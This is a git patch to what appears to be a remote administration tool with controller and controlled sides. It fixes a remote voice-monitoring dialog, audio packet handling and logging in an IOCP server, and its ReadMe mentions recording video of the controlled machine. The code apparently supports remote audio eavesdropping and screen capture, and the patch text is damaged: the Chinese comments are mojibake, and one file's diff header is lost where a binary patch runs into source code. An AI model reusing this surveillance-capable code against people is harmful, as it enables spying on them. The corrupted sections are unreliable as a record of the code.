From af63166fbe9d406493b27c79589393abd78f92d9 Mon Sep 17 00:00:00 2001
From: yuanyuanxiang <962914132@qq.com>
Date: Sat, 26 Jan 2019 11:53:11 +0800
Subject: [PATCH] =?UTF-8?q?=E8=A7=A3=E5=86=B3=E8=AF=AD=E9=9F=B3=E7=9B=91?=
=?UTF-8?q?=E5=90=AC=E5=AF=B9=E8=AF=9D=E6=A1=86=E4=B8=8D=E6=9B=B4=E6=96=B0?=
=?UTF-8?q?=E7=8A=B6=E6=80=81=E7=9A=84=E9=97=AE=E9=A2=98?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
修复语音监听对话框显示已收到数据不更新状态的问题。
发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。
---
ReadMe.txt | 4 ++++
client/AudioManager.cpp | 8 +++++---
client/TestRun.vcxproj.user | 2 +-
server/2015Remote/2015Remote.rc | Bin 48876 -> 48874 bytes
server/2015Remote/AudioDlg.cpp | 20 +++++++++++++++++---
server/2015Remote/AudioDlg.h | 3 ++-
server/2015Remote/IOCPServer.cpp | 9 ++++++++-
server/2015Remote/resource.h | Bin 25076 -> 25074 bytes
8 files changed, 37 insertions(+), 9 deletions(-)
diff --git a/ReadMe.txt b/ReadMe.txt
index 68864a5..e0a2ae7 100644
--- a/ReadMe.txt
+++ b/ReadMe.txt
@@ -143,3 +143,7 @@
1、修复被控端消息提示对话框在消息换行时显示不完整的问题。
2、添加/完善录制远程被控端视频的功能。
+
+3、修复语音监听对话框显示已收到数据不更新状态的问题。
+
+4、发现"发送本地语音"会导致主控端容易崩溃的问题,现象类似于操作远程桌面时的随机崩溃。
diff --git a/client/AudioManager.cpp b/client/AudioManager.cpp
index 7e0656b..06e666d 100644
--- a/client/AudioManager.cpp
+++ b/client/AudioManager.cpp
@@ -44,12 +44,13 @@ VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
case COMMAND_NEXT:
{
- NotifyDialogIsOpen();
+ if (1 == ulLength)
+ NotifyDialogIsOpen();
break;
}
default:
- {
- m_AudioObject->PlayBuffer(szBuffer, ulLength);
+ {
+ m_AudioObject->PlayBuffer(szBuffer, ulLength);
break;
}
}
@@ -83,6 +84,7 @@ BOOL CAudioManager::SendRecordBuffer()
szPacket[0] = TOKEN_AUDIO_DATA; //ض˷Ϣ
//ƻ
memcpy(szPacket + 1, szBuffer, dwBufferSize);
+ szPacket[dwBufferSize] = 0;
//ͳȥ
if (dwBufferSize > 0)
{
diff --git a/client/TestRun.vcxproj.user b/client/TestRun.vcxproj.user
index 9e8e47a..25eb3fe 100644
--- a/client/TestRun.vcxproj.user
+++ b/client/TestRun.vcxproj.user
@@ -7,6 +7,6 @@
C:\VM\Remoter
$(TargetDir)\TestRun.pdb;$(TargetDir)\ServerDll.dll;$(TargetDir)\ServerDll.pdb
false
- WindowsRemoteDebugger
+ WindowsLocalDebugger
\ No newline at end of file
diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc
index 7bdbb1088788702d17db1f5f350b2df146111067..87fde9aa30b95e91b6454f0a34eb97eac9922fd8 100644
GIT binary patch
delta 89
zcmaF!m+94CrVSz9(uNEc3_1*!48}mxf`ONTi$MVjohKK{C{CW>Z6;_8l-B{OFaxUu
hvM1kHHk{1iQ^st}V7j@{CpByGyR9~xRkojC2LP=d7V7{2
delta 71
zcmaF$m+8%4rVSz9oJI@=3_1*!491fMJ&Y$$@HP`PXD|nf7&DjwNmCFx`M$E@WDcJ)
XW+Mjk&5b^(S(D#vwcD(;{RBGzEnableWindow(FALSE);
+
return TRUE; // return TRUE unless you set the focus to a control
// 쳣: OCX ҳӦ FALSE
}
@@ -82,7 +86,7 @@ DWORD CAudioDlg::WorkThread(LPVOID lParam)
{
if (!This->m_bSend)
{
- Sleep(50);
+ WAIT(This->m_bIsWorking, 1, 50);
continue;
}
DWORD dwBufferSize = 0;
@@ -101,12 +105,11 @@ void CAudioDlg::OnReceiveComplete(void)
m_nTotalRecvBytes += m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1; //1000+ =1000 1
CString strString;
strString.Format("Receive %d KBytes", m_nTotalRecvBytes / 1024);
- SetDlgItemText(IDC_TIP, strString);
+ SetDlgItemText(IDC_TIPS, strString);
switch (m_ContextObject->InDeCompressedBuffer.GetBuffer(0)[0])
{
case TOKEN_AUDIO_DATA:
{
-
m_AudioObject.PlayBuffer(m_ContextObject->InDeCompressedBuffer.GetBuffer(1),
m_ContextObject->InDeCompressedBuffer.GetBufferLength() - 1); //Ų
break;
@@ -134,3 +137,14 @@ void CAudioDlg::OnClose()
delete this;
#endif
}
+
+// ǷͱԶ
+void CAudioDlg::OnBnClickedCheck()
+{
+ // @notice 2019.1.26
+ // "ͱ"ض˱zlib inffas32.asm
+ // 轫ضzlibض±
+ // Ǽʹضڿ"ͱ"ʱױ
+ // ڲԶʱԭ
+ UpdateData(true);
+}
diff --git a/server/2015Remote/AudioDlg.h b/server/2015Remote/AudioDlg.h
index 54110d6..13e275c 100644
--- a/server/2015Remote/AudioDlg.h
+++ b/server/2015Remote/AudioDlg.h
@@ -33,7 +33,8 @@ protected:
DECLARE_MESSAGE_MAP()
public:
- BOOL m_bSend;
+ BOOL m_bSend; // ǷͱԶ
virtual BOOL OnInitDialog();
afx_msg void OnClose();
+ afx_msg void OnBnClickedCheck();
};
diff --git a/server/2015Remote/IOCPServer.cpp b/server/2015Remote/IOCPServer.cpp
index 771b7f0..f15cedc 100644
--- a/server/2015Remote/IOCPServer.cpp
+++ b/server/2015Remote/IOCPServer.cpp
@@ -332,6 +332,7 @@ DWORD IOCPServer::WorkThreadProc(LPVOID lParam)
if (ContextObject && This->m_bTimeToKill == FALSE &&dwTrans==0)
{
ContextObject->olps = NULL;
+ OutputDebugStringA("!!! RemoveStaleContext \n");
This->RemoveStaleContext(ContextObject);
}
SAFE_DELETE(OverlappedPlus);
@@ -539,7 +540,9 @@ VOID IOCPServer::OnClientPreSending(CONTEXT_OBJECT* ContextObject, PBYTE szBuffe
OVERLAPPEDPLUS* OverlappedPlus = new OVERLAPPEDPLUS(IOWrite);
BOOL bOk = PostQueuedCompletionStatus(m_hCompletionPort, 0, (DWORD)ContextObject, &OverlappedPlus->m_ol);
if ( (!bOk && GetLastError() != ERROR_IO_PENDING) ) //Ͷʧ
- {
+ {
+ int a = GetLastError();
+ OutputDebugStringA("!!! OnClientPreSending ͶϢʧ\n");
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus);
}
@@ -569,6 +572,7 @@ BOOL IOCPServer::OnClientPostSending(CONTEXT_OBJECT* ContextObject,ULONG ulCompl
if ( iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING )
{
int a = GetLastError();
+ OutputDebugStringA("!!! OnClientPostSending ͶϢʧ\n");
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus);
}
@@ -686,6 +690,8 @@ void IOCPServer::OnAccept()
//ΪǽܵһûߵôǾͽǵɶ˿ ǵĹ̴߳
if ( (!bOk && GetLastError() != ERROR_IO_PENDING)) //Ͷʧ
{
+ int a = GetLastError();
+ OutputDebugStringA("!!! OnAccept ͶϢʧ\n");
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus);
return;
@@ -710,6 +716,7 @@ VOID IOCPServer::PostRecv(CONTEXT_OBJECT* ContextObject)
if (iOk == SOCKET_ERROR && WSAGetLastError() != WSA_IO_PENDING)
{
int a = GetLastError();
+ OutputDebugStringA("!!! PostRecv ͶϢʧ\n");
RemoveStaleContext(ContextObject);
SAFE_DELETE(OverlappedPlus);
}
diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h
index 7ddd7ded8c6bd56ed2b6ec0b8d04dd54e0fd9f09..9a3e0ab25e8d2159e7e72e1b053dd5d3183519d8 100644
GIT binary patch
delta 14
WcmexznDNtL#tk}xoAm^b1pojx#s*{n
delta 18
acmex#nDNVD#tk}xlMgVlY}OMz5&!^GeFwV$